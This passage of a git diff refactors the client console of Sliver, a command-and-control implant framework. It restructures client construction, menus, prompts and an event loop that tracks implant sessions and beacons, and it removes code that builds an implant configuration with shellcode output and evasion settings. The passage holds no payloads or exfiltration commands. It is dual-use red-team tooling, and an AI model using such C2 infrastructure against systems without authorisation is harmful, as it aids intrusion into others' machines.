configurations, +// which means that users of this Sliver client may build arbitrarily complex server +// selection/connection strategies. +type SliverClient struct { + // Core Client & Teamclient + App *console.Console + Settings *assets.ClientSettings + IsServer bool + Teamclient *client.Client + dialer *transport.TeamClient // Allows to access the grpc.Conn. + + // Command utilities + isCLI bool // Are we in a exec-once CLI command mode. + preRunners []func(*cobra.Command, []string) error // Additional pre-runners (server) + signals map[string]chan os.Signal // Some commands can block, and be unblocked. + Args []string // Cache the last command-line we have run. + + // Logging + jsonHandler slog.Handler + printf func(format string, args ...any) (int, error) + closeLogs []func() + + // Sliver-specific + Rpc rpcpb.SliverRPCClient + ActiveTarget *ActiveTarget + EventListeners *sync.Map + + // Tasks (pending) + // (Ensure we always print result after sent status display) + beaconSentStatus map[string]*sync.WaitGroup + beaconTaskSentMutex *sync.Mutex + waitingResult chan bool + + // Tasks (completed) BeaconTaskCallbacks map[string]BeaconTaskCallback BeaconTaskCallbacksMutex *sync.Mutex - Settings *assets.ClientSettings - IsServer bool - IsCLI bool +} - jsonHandler slog.Handler - printf func(format string, args ...any) (int, error) +// NewSliverClient is the general-purpose Sliver Client constructor. +// +// The returned client includes and is ready to use the following: +// - A reeflective/team.Client to manage, use and interact with an arbitrary +// number of Sliver teamservers. This includes connecting, registering RPC +// client interfaces, logging, authenticating and disconnecting. +// - A console application, which can either be used closed-loop, or in a classic +// exec-once CLI style. Users of this client are free to use either at will. +// - Cobra-command runner methods to be included in new commands and completers. +// - Methods to set and interact with a Sliver implant target. +// - Various logging/streaming utilities. +// +// Any error returned from this call is critical, meaning that given the current +// options (teamclient, gRPC, etc), the SliverClient is not able to work properly. +func NewSliverClient(opts ...grpc.DialOption) (con *SliverClient, err error) { + // Create the client core, everything interface-related. + con = newClient() + + // Our reeflective/team.Client needs our gRPC stack. + con.dialer = transport.NewClient(opts...) + + var clientOpts []client.Options + clientOpts = append(clientOpts, + client.WithHomeDirectory(assets.GetRootAppDir()), + client.WithDialer(con.dialer), + client.WithLogger(initTeamclientLog()), + ) + + // Create a new reeflective/team.Client, which is in charge of selecting, + // and connecting with, remote Sliver teamserver configurations, etc. + // Includes client backend logging, authentication, core teamclient methods... + con.Teamclient, err = client.New("sliver", con, clientOpts...) + if err != nil { + return nil, err + } + + return con, nil } -// NewConsole creates the sliver client (and console), creating menus and prompts. +// newClient creates the sliver client (and console), creating menus and prompts. // The returned console does neither have commands nor a working RPC connection yet, // thus has not started monitoring any server events, or started the application. -func NewConsole(isServer bool) *SliverConsoleClient { +func newClient() *SliverClient { assets.Setup(false, false) settings, _ := assets.LoadSettings() - con := &SliverConsoleClient{ - App: console.New("sliver"), - ActiveTarget: &ActiveTarget{ - observers: map[int]Observer{}, - observerID: 0, - }, + con := &SliverClient{ + App: console.New("sliver"), + Settings: settings, + isCLI: true, + signals: make(map[string]chan os.Signal), + printf: fmt.Printf, + jsonHandler: slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{}), + ActiveTarget: newActiveTarget(), EventListeners: &sync.Map{}, BeaconTaskCallbacks: map[string]BeaconTaskCallback{}, + beaconSentStatus: map[string]*sync.WaitGroup{}, BeaconTaskCallbacksMutex: &sync.Mutex{}, - IsServer: isServer, - Settings: settings, + beaconTaskSentMutex: &sync.Mutex{}, } - // The active target needs access to the console - // to automatically switch between command menus. - con.ActiveTarget.con = con + con.App.SetPrintLogo(func(_ *console.Console) { + con.printLogo() + }) // Readline-shell (edition) settings if settings.VimMode { @@ -139,454 +209,46 @@ func NewConsole(isServer bool) *SliverConsoleClient { // Server menu. server := con.App.Menu(consts.ServerMenu) - server.Short = "Server commands" server.Prompt().Primary = con.GetPrompt server.AddInterrupt(readline.ErrInterrupt, con.exitConsole) // Ctrl-C - server.AddHistorySourceFile("server history", filepath.Join(assets.GetRootAppDir(), "history")) + histPath := filepath.Join(assets.GetRootAppDir(), "history") + server.AddHistorySourceFile("server history", histPath) // Implant menu. sliver := con.App.NewMenu(consts.ImplantMenu) - sliver.Short = "Implant commands" sliver.Prompt().Primary = con.GetPrompt sliver.AddInterrupt(io.EOF, con.exitImplantMenu) // Ctrl-D - con.App.SetPrintLogo(func(_ *console.Console) { - con.PrintLogo() - }) + // The active target needs access to the console + // to automatically switch between command menus. + con.ActiveTarget.con = con return con } -// Init requires a working RPC connection to the sliver server, and 2 different sets of commands. -// If run is true, the console application is started, making this call blocking. Otherwise, commands and -// RPC connection are bound to the console (making the console ready to run), but the console does not start. -func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds, sliverCmds console.Commands, run bool) error { - con.Rpc = rpc - con.IsCLI = !run - - // The console application needs to query the terminal for cursor positions - // when asynchronously printing logs (that is, when no command is running). - // If ran from a system shell, however, those queries will block because - // the system shell is in control of stdin. So just use the classic Printf. - if con.IsCLI { - con.printf = fmt.Printf - } else { - con.printf = con.App.TransientPrintf - } - - // Bind commands to the app - server := con.App.Menu(consts.ServerMenu) - server.SetCommands(serverCmds) - - sliver := con.App.Menu(consts.ImplantMenu) - sliver.SetCommands(sliverCmds) - - // Events - go con.startEventLoop() - go core.TunnelLoop(rpc) - - // console logger - if con.Settings.ConsoleLogs { - // Classic logs - consoleLog := getConsoleLogFile() - consoleLogStream, err := con.ClientLogStream("json") - if err != nil { - log.Printf("Could not get client log stream: %s", err) - } - con.setupLogger(consoleLog, consoleLogStream) - defer consoleLog.Close() - - // Ascii cast sessions (complete terminal interface). - asciicastLog := getConsoleAsciicastFile() - defer asciicastLog.Close() - - asciicastStream, err := con.ClientLogStream("asciicast") - con.setupAsciicastRecord(asciicastLog, asciicastStream) - } - - if !con.IsCLI { - return con.App.Start() - } - - return nil -} - -func (con *SliverConsoleClient) startEventLoop() { - eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - for { - event, err := eventStream.Recv() - if err == io.EOF || event == nil { - return - } - - go con.triggerEventListeners(event) - - // Trigger event based on type - switch event.EventType { - - case consts.CanaryEvent: - con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (DNS Canary)", Normal, event.Session.Name) - sessions := con.GetSessionsByName(event.Session.Name) - for _, session := range sessions { - shortID := strings.Split(session.ID, "-")[0] - con.PrintErrorf("\t🔥 Session %s is affected", shortID) - } - - case consts.WatchtowerEvent: - msg := string(event.Data) - con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (seen on %s)", Normal, event.Session.Name, msg) - sessions := con.GetSessionsByName(event.Session.Name) - for _, session := range sessions { - shortID := strings.Split(session.ID, "-")[0] - con.PrintErrorf("\t🔥 Session %s is affected", shortID) - } - - case consts.JoinedEvent: - if con.Settings.UserConnect { - con.PrintInfof("%s has joined the game", event.Client.Operator.Name) - } - case consts.LeftEvent: - if con.Settings.UserConnect { - con.PrintInfof("%s left the game", event.Client.Operator.Name) - } - - case consts.JobStoppedEvent: - job := event.Job - con.PrintErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name) - - case consts.SessionOpenedEvent: - session := event.Session - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(session.ID, "-")[0] - con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v", - shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) - - // Prelude Operator - if prelude.ImplantMapper != nil { - err = prelude.ImplantMapper.AddImplant(session, nil) - if err != nil { - con.PrintErrorf("Could not add session to Operator: %s", err) - } - } - - case consts.SessionUpdateEvent: - session := event.Session - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(session.ID, "-")[0] - con.PrintInfof("Session %s has been updated - %v", shortID, currentTime) - - case consts.SessionClosedEvent: - session := event.Session - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(session.ID, "-")[0] - con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v", - shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) - activeSession := con.ActiveTarget.GetSession() - core.GetTunnels().CloseForSession(session.ID) - core.CloseCursedProcesses(session.ID) - if activeSession != nil && activeSession.ID == session.ID { - con.ActiveTarget.Set(nil, nil) - con.PrintErrorf("Active session disconnected") - } - if prelude.ImplantMapper != nil { - err = prelude.ImplantMapper.RemoveImplant(session) - if err != nil { - con.PrintErrorf("Could not remove session from Operator: %s", err) - } - con.PrintInfof("Removed session %s from Operator", session.Name) - } - - case consts.BeaconRegisteredEvent: - beacon := &clientpb.Beacon{} - proto.Unmarshal(event.Data, beacon) - currentTime := time.Now().Format(time.RFC1123) - shortID := strings.Split(beacon.ID, "-")[0] - con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v", - shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime) - - // Prelude Operator - if prelude.ImplantMapper != nil { - err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) { - con.AddBeaconCallback(taskID, cb) - }) - if err != nil { - con.PrintErrorf("Could not add beacon to Operator: %s", err) - } - } - - case consts.BeaconTaskResultEvent: - con.triggerBeaconTaskCallback(event.Data) - - } - - con.triggerReactions(event) - } -} - -// CreateEventListener - creates a new event listener and returns its ID -func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) { - listener := make(chan *clientpb.Event, 100) - listenerID, _ := uuid.NewV4() - con.EventListeners.Store(listenerID.String(), listener) - return listenerID.String(), listener -} - -// RemoveEventListener - removes an event listener given its id -func (con *SliverConsoleClient) RemoveEventListener(listenerID string) { - value, ok := con.EventListeners.LoadAndDelete(listenerID) - if ok { - close(value.(chan *clientpb.Event)) - } -} - -func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) { - con.EventListeners.Range(func(key, value interface{}) bool { - listener := value.(chan *clientpb.Event) - listener <- event // Do not block while sending the event to the listener - return true - }) -} - -func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) { - reactions := core.Reactions.On(event.EventType) - if len(reactions) == 0 { - return - } - - // We need some special handling for SessionOpenedEvent to - // set the new session as the active session - currentActiveSession, currentActiveBeacon := con.ActiveTarget.Get() - defer func() { - con.ActiveTarget.Set(currentActiveSession, currentActiveBeacon) - }() - - if event.EventType == consts.SessionOpenedEvent { - con.ActiveTarget.Set(nil, nil) - - con.ActiveTarget.Set(event.Session, nil) - } else if event.EventType == consts.BeaconRegisteredEvent { - con.ActiveTarget.Set(nil, nil) +// StartConsole is a blocking call that starts the Sliver closed console. +// The command/events/log outputs use the specific-console fmt.Printer, +// because the console needs to query the terminal for cursor positions +// when asynchronously printing logs (that is, when no command is running). +func (con *SliverClient) StartConsole() error { + con.isCLI = false + con.printf = con.App.TransientPrintf - beacon := &clientpb.Beacon{} - proto.Unmarshal(event.Data, beacon) - con.ActiveTarget.Set(nil, beacon) - } - - for _, reaction := range reactions { - for _, line := range reaction.Commands { - con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line) - err := con.App.ActiveMenu().RunCommand(line) - if err != nil { - con.PrintErrorf("Reaction command error: %s\n", err) - } - } - } -} + // os.Args are useless, and we need to keep each + // of our commands in case they are ran on beacons: + // those "need" the command line attached to task requests. + con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, + func(args []string) ([]string, error) { + con.Args = args + return args, nil + }) -// triggerBeaconTaskCallback - Triggers the callback for a beacon task -func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) { - task := &clientpb.BeaconTask{} - err := proto.Unmarshal(data, task) - if err != nil { - con.PrintErrorf("\rCould not unmarshal beacon task: %s", err) - return - } - ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) - defer cancel() - beacon, _ := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: task.BeaconID}) - - // If the callback is not in our map then we don't do anything, the beacon task - // was either issued by another operator in multiplayer mode or the client process - // was restarted between the time the task was created and when the server got the result - con.BeaconTaskCallbacksMutex.Lock() - defer con.BeaconTaskCallbacksMutex.Unlock() - if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok { - if con.Settings.BeaconAutoResults { - if beacon != nil { - con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0]) - } - task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ - ID: task.ID, - }) - con.Printf(Clearln + "\r") - if err == nil { - callback(task_content) - } else { - con.PrintErrorf("Could not get beacon task content: %s", err) - } - con.Println() - } - delete(con.BeaconTaskCallbacks, task.ID) - } -} - -func (con *SliverConsoleClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) { - con.BeaconTaskCallbacksMutex.Lock() - defer con.BeaconTaskCallbacksMutex.Unlock() - con.BeaconTaskCallbacks[taskID] = callback -} - -func (con *SliverConsoleClient) GetPrompt() string { - prompt := Underline + "sliver" + Normal - if con.IsServer { - prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal - } - if con.ActiveTarget.GetSession() != nil { - prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal) - } else if con.ActiveTarget.GetBeacon() != nil { - prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal) - } - prompt += " > " - return Clearln + prompt -} - -func (con *SliverConsoleClient) PrintLogo() { - serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) - if err != nil { - panic(err.Error()) - } - dirty := "" - if serverVer.Dirty { - dirty = fmt.Sprintf(" - %sDirty%s", Bold, Normal) - } - serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch) - - logo := asciiLogos[insecureRand.Intn(len(asciiLogos))] - fmt.Println(strings.ReplaceAll(logo, "\n", "\r\n")) - fmt.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))] + "\r") - fmt.Printf(Info+"Server v%s - %s%s\r\n", serverSemVer, serverVer.Commit, dirty) - if version.GitCommit != serverVer.Commit { - fmt.Printf(Info+"Client %s\r\n", version.FullVersion()) - } - fmt.Println(Info + "Welcome to the sliver shell, please type 'help' for options\r") - if serverVer.Major != int32(version.SemanticVersion()[0]) { - fmt.Printf(Warn + "Warning: Client and server may be running incompatible versions.\r\n") - } - con.CheckLastUpdate() + return con.App.Start() } -func (con *SliverConsoleClient) CheckLastUpdate() { - now := time.Now() - lastUpdate := getLastUpdateCheck() - compiledAt, err := version.Compiled() - if err != nil { - log.Printf("Failed to parse compiled at timestamp %s", err) - return - } - - day := 24 * time.Hour - if compiledAt.Add(30 * day).Before(now) { - if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) { - con.Printf(Info + "Check for updates with the 'update' command\n\n") - } - } -} - -func getLastUpdateCheck() *time.Time { - appDir := assets.GetRootAppDir() - lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName) - data, err := os.ReadFile(lastUpdateCheckPath) - if err != nil { - log.Printf("Failed to read last update check %s", err) - return nil - } - unixTime, err := strconv.Atoi(string(data)) - if err != nil { - log.Printf("Failed to parse last update check %s", err) - return nil - } - lastUpdate := time.Unix(int64(unixTime), 0) - return &lastUpdate -} - -func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session { - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - con.PrintWarnf("%s", err) - return nil - } - for _, session := range sessions.GetSessions() { - if session.Name == arg || strings.HasPrefix(session.ID, arg) { - return session - } - } - return nil -} - -// GetSessionsByName - Return all sessions for an Implant by name -func (con *SliverConsoleClient) GetSessionsByName(name string) []*clientpb.Session { - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return nil - } - matched := []*clientpb.Session{} - for _, session := range sessions.GetSessions() { - if session.Name == name { - matched = append(matched, session) - } - } - return matched -} - -// GetActiveSessionConfig - Get the active sessions's config -// TODO: Switch to query config based on ConfigID -func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig { - session := con.ActiveTarget.GetSession() - if session == nil { - return nil - } - c2s := []*clientpb.ImplantC2{} - c2s = append(c2s, &clientpb.ImplantC2{ - URL: session.GetActiveC2(), - Priority: uint32(0), - }) - config := &clientpb.ImplantConfig{ - Name: session.GetName(), - GOOS: session.GetOS(), - GOARCH: session.GetArch(), - Debug: true, - Evasion: session.GetEvasion(), - - MaxConnectionErrors: uint32(1000), - ReconnectInterval: int64(60), - Format: clientpb.OutputFormat_SHELLCODE, - IsSharedLib: true, - C2: c2s, - } - return config -} - -// exitConsole prompts the user for confirmation to exit the console. -func (c *SliverConsoleClient) exitConsole(_ *console.Console) { - reader := bufio.NewReader(os.Stdin) - fmt.Print("Confirm exit (Y/y, Ctrl-C): ") - text, _ := reader.ReadString('\n') - answer := strings.TrimSpace(text) - - if (answer == "Y") || (answer == "y") { - os.Exit(0) - } -} - -// exitImplantMenu uses the background command to detach from the implant menu. -func (c *SliverConsoleClient) exitImplantMenu(_ *console.Console) { - root := c.App.Menu(consts.ImplantMenu).Command - root.SetArgs([]string{"background"}) - root.Execute() -} - -func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) { - go spin.Until(os.Stdout, message, ctrl) -} - -// FormatDateDelta - Generate formatted date string of the time delta between then and now -func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string { +// FormatDateDelta - Generate formatted date string of the time delta between then and now. +func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string { nextTime := t.Format(time.UnixDate) var interval string @@ -613,8 +275,8 @@ func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, c return interval } -// GrpcContext - Generate a context for a GRPC request, if no grumble context or an invalid flag is provided 60 seconds is used instead -func (con *SliverConsoleClient) GrpcContext(cmd *cobra.Command) (context.Context, context.CancelFunc) { +// GrpcContext - Generate a context for a GRPC request, if no cobra context or an invalid flag is provided 60 seconds is used instead. +func (con *SliverClient) GrpcContext(cmd *cobra.Command) (context.Context, context.CancelFunc) { if cmd == nil { return context.WithTimeout(context.Background(), 60*time.Second) } @@ -627,281 +289,57 @@ func (con *SliverConsoleClient) GrpcContext(cmd *cobra.Command) (context.Context return context.WithTimeout(context.Background(), timeout) } -// -// -------------------------- [ Active Target ] -------------------------- -// - -type ActiveTarget struct { - session *clientpb.Session - beacon *clientpb.Beacon - observers map[int]Observer - observerID int - con *SliverConsoleClient -} - -// GetSessionInteractive - Get the active target(s) -func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) { - if s.session == nil && s.beacon == nil { - fmt.Printf(Warn + "Please select a session or beacon via `use`\n") - return nil, nil - } - return s.session, s.beacon -} - -// GetSessionInteractive - Get the active target(s) -func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) { - return s.session, s.beacon -} - -// GetSessionInteractive - GetSessionInteractive the active session -func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session { - if s.session == nil { - fmt.Printf(Warn + "Please select a session via `use`\n") - return nil - } - return s.session -} - -// GetSession - Same as GetSession() but doesn't print a warning -func (s *ActiveTarget) GetSession() *clientpb.Session { - return s.session -} - -// GetBeaconInteractive - Get beacon interactive the active session -func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon { - if s.beacon == nil { - fmt.Printf(Warn + "Please select a beacon via `use`\n") +// UnwrapServerErr unwraps errors returned by gRPC method calls. +// Should be used to return every non-nil resp, err := con.Rpc.Function(). +func (con *SliverClient) UnwrapServerErr(err error) error { + if err == nil { return nil } - return s.beacon -} - -// GetBeacon - Same as GetBeacon() but doesn't print a warning -func (s *ActiveTarget) GetBeacon() *clientpb.Beacon { - return s.beacon -} - -// IsSession - Is the current target a session? -func (s *ActiveTarget) IsSession() bool { - return s.session != nil -} - -// AddObserver - Observers to notify when the active session changes -func (s *ActiveTarget) AddObserver(observer Observer) int { - s.observerID++ - s.observers[s.observerID] = observer - return s.observerID -} -func (s *ActiveTarget) RemoveObserver(observerID int) { - delete(s.observers, observerID) + return errors.New(status.Convert(err).Message()) } -func (s *ActiveTarget) Request(cmd *cobra.Command) *commonpb.Request { - if s.session == nil && s.beacon == nil { - return nil - } - - // One less than the gRPC timeout so that the server should timeout first - timeOutF := int64(defaultTimeout) - 1 - if cmd != nil { - timeOutF, _ = cmd.Flags().GetInt64("timeout") - } - timeout := (int64(time.Second) * timeOutF) - 1 - - req := &commonpb.Request{} - req.Timeout = timeout - - if s.session != nil { - req.Async = false - req.SessionID = s.session.ID - } - if s.beacon != nil { - req.Async = true - req.BeaconID = s.beacon.ID - } - return req -} - -// Set - Change the active session -func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { - if session != nil && beacon != nil { - s.con.PrintErrorf("cannot set both an active beacon and an active session") - return - } - - defer s.con.ExposeCommands() - - // Backgrounding - if session == nil && beacon == nil { - s.session = nil - s.beacon = nil - for _, observer := range s.observers { - observer(s.session, s.beacon) - } - - if s.con.IsCLI { - return - } - - // Switch back to server menu. - if s.con.App.ActiveMenu().Name() == consts.ImplantMenu { - s.con.App.SwitchMenu(consts.ServerMenu) - } - +// CheckLastUpdate prints a message to the CLI if updates are available. +func (con *SliverClient) CheckLastUpdate() { + now := time.Now() + lastUpdate := getLastUpdateCheck() + compiledAt, err := version.Compiled() + if err != nil { + log.Printf("Failed to parse compiled at timestamp %s", err) return } - // Foreground - if session != nil { - s.session = session - s.beacon = nil - for _, observer := range s.observers { - observer(s.session, s.beacon) - } - } else if beacon != nil { - s.beacon = beacon - s.session = nil - for _, observer := range s.observers { - observer(s.session, s.beacon) + day := 24 * time.Hour + if compiledAt.Add(30 * day).Before(now) { + if lastUpdate == nil || lastUpdate.Add(30*day).Before(now) { + con.Printf(Info + "Check for updates with the 'update' command\n\n") } } - - if s.con.IsCLI { - return - } - - // Update menus, prompts and commands - if s.con.App.ActiveMenu().Name() != consts.ImplantMenu { - s.con.App.SwitchMenu(consts.ImplantMenu) - } } -// Background - Background the active session -func (s *ActiveTarget) Background() { - defer s.con.App.ShowCommands() - - s.session = nil - s.beacon = nil - for _, observer := range s.observers { - observer(nil, nil) +func getLastUpdateCheck() *time.Time { + appDir := assets.GetRootAppDir() + lastUpdateCheckPath := filepath.Join(appDir, consts.LastUpdateCheckFileName) + data, err := os.ReadFile(lastUpdateCheckPath) + if err != nil { + log.Printf("Failed to read last update check %s", err) + return nil } - - // Switch back to server menu. - if !s.con.IsCLI && s.con.App.ActiveMenu().Name() == consts.ImplantMenu { - s.con.App.SwitchMenu(consts.ServerMenu) + unixTime, err := strconv.Atoi(string(data)) + if err != nil { + log.Printf("Failed to parse last update check %s", err) + return nil } + lastUpdate := time.Unix(int64(unixTime), 0) + return &lastUpdate } -// Expose or hide commands if the active target does support them (or not). -// Ex; hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. -func (con *SliverConsoleClient) ExposeCommands() { - con.App.ShowCommands() - - if con.ActiveTarget.session == nil && con.ActiveTarget.beacon == nil { - return - } - - filters := make([]string, 0) - - // Target type. - switch { - case con.ActiveTarget.session != nil: - session := con.ActiveTarget.session - filters = append(filters, consts.BeaconCmdsFilter) - - // Operating system - if session.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if session.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) - } - - case con.ActiveTarget.beacon != nil: - beacon := con.ActiveTarget.beacon - filters = append(filters, consts.SessionCmdsFilter) - - // Operating system - if beacon.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if beacon.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) +func compCommandCalled(cmd *cobra.Command) bool { + for _, compCmd := range cmd.Root().Commands() { + if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { + return true } } - // Use all defined filters. - con.App.HideCommands(filters...) -} - -var abilities = []string{ - "first strike", - "vigilance", - "haste", - "indestructible", - "hexproof", - "deathtouch", - "fear", - "epic", - "ninjitsu", - "recover", - "persist", - "conspire", - "reinforce", - "exalted", - "annihilator", - "infect", - "undying", - "living weapon", - "miracle", - "scavenge", - "cipher", - "evolve", - "dethrone", - "hidden agenda", - "prowess", - "dash", - "exploit", - "renown", - "skulk", - "improvise", - "assist", - "jump-start", -} - -var asciiLogos = []string{ - Red + ` - ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███ - ▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒ - ░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒ - ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄ - ▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒ - ▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░ - ░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░ - ░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░ - ░ ░ ░ ░ ░ ░ ░ ░ -` + Normal, - - Green + ` - ███████╗██╗ ██╗██╗ ██╗███████╗██████╗ - ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗ - ███████╗██║ ██║██║ ██║█████╗ ██████╔╝ - ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗ - ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║ - ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ -` + Normal, - - Bold + Gray + ` -.------..------..------..------..------..------. -|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. | -| :/\: || :/\: || (\/) || :(): || (\/) || :(): | -| :\/: || (__) || :\/: || ()() || :\/: || ()() | -| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R| -` + "`------'`------'`------'`------'`------'`------'" + ` -` + Normal, + return false } diff --git a/client/console/events.go b/client/console/events.go new file mode 100644 index 0000000000..0766e02947 --- /dev/null +++ b/client/console/events.go @@ -0,0 +1,358 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + "io" + "strings" + "sync" + "time" + + "github.com/gofrs/uuid" + "google.golang.org/protobuf/proto" + + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/core" + "github.com/bishopfox/sliver/client/prelude" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" +) + +func (con *SliverClient) startEventLoop() { + eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{}) + if err != nil { + fmt.Printf(Warn+"%s\n", err) + return + } + for { + event, err := eventStream.Recv() + if err == io.EOF || event == nil { + return + } + + go con.triggerEventListeners(event) + + // Trigger event based on type + switch event.EventType { + + case consts.CanaryEvent: + con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (DNS Canary)", Normal, event.Session.Name) + sessions := con.GetSessionsByName(event.Session.Name) + for _, session := range sessions { + shortID := strings.Split(session.ID, "-")[0] + con.PrintErrorf("\t🔥 Session %s is affected", shortID) + } + + case consts.WatchtowerEvent: + msg := string(event.Data) + con.PrintEventErrorf(Bold+"WARNING: %s%s has been burned (seen on %s)", Normal, event.Session.Name, msg) + sessions := con.GetSessionsByName(event.Session.Name) + for _, session := range sessions { + shortID := strings.Split(session.ID, "-")[0] + con.PrintErrorf("\t🔥 Session %s is affected", shortID) + } + + case consts.JoinedEvent: + if con.Settings.UserConnect { + con.PrintInfof("%s has joined the game", event.Client.Operator.Name) + } + case consts.LeftEvent: + if con.Settings.UserConnect { + con.PrintInfof("%s left the game", event.Client.Operator.Name) + } + + case consts.JobStoppedEvent: + job := event.Job + con.PrintErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name) + + case consts.SessionOpenedEvent: + session := event.Session + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(session.ID, "-")[0] + con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v", + shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) + + // Prelude Operator + if prelude.ImplantMapper != nil { + err = prelude.ImplantMapper.AddImplant(session, nil) + if err != nil { + con.PrintErrorf("Could not add session to Operator: %s", err) + } + } + + case consts.SessionUpdateEvent: + session := event.Session + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(session.ID, "-")[0] + con.PrintInfof("Session %s has been updated - %v", shortID, currentTime) + + case consts.SessionClosedEvent: + session := event.Session + currentTime := time.Now().Format(time.RFC1123) + shortID := strings.Split(session.ID, "-")[0] + con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v", + shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime) + activeSession := con.ActiveTarget.GetSession() + core.GetTunnels().CloseForSession(session.ID) + core.CloseCursedProcesses(session.ID) + if activeSession != nil && activeSession.ID == session.ID { + con.ActiveTarget.Set(nil, nil) + con.PrintErrorf("Active session disconnected") + } + if prelude.ImplantMapper != nil { + err = prelude.ImplantMapper.RemoveImplant(session) + if err != nil { + con.PrintErrorf("Could not remove session from 